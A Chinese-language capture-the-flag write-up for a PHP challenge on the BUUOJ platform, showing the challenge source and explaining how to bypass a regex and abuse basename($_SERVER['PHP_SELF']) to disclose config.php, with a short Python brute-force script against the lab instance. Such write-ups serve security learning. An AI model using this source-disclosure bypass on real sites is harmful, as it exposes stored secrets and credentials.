源码:
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
分析
从源码得知flag在config.php中的一个常量中,要得到flag需要我们post一个值guess和随机生成的要预测和爆破基本没戏。但是可以发现 highlight_file()
里面的变量是可控的。那么我们可以看看basename($_SERVER['PHP_SELF'])
怎么才能得到我们想要的结果。我们从php.net可以得知:
$_SERVER['PHP_SELF']
能够当前url的路径,而basename能够返回返回路径中文件名部分。
那我们不是可以传入/index.php/config.php?souce
?但是一条正则挡住了我们的去路:
正则绕过
我们还需要绕过
preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])
这种正则其实直接写个脚本去爆破即可,一般都是某个字符能够通过。
import requests
for i in range(0,255):
url="http://c3bedc5a-4535-41a4-9c5f-9a25eae15489.node3.buuoj.cn/index.php/config.php/%s?source"%(chr(i))
r = requests.get(url)
if 'flag' in r.text:
print(r.text)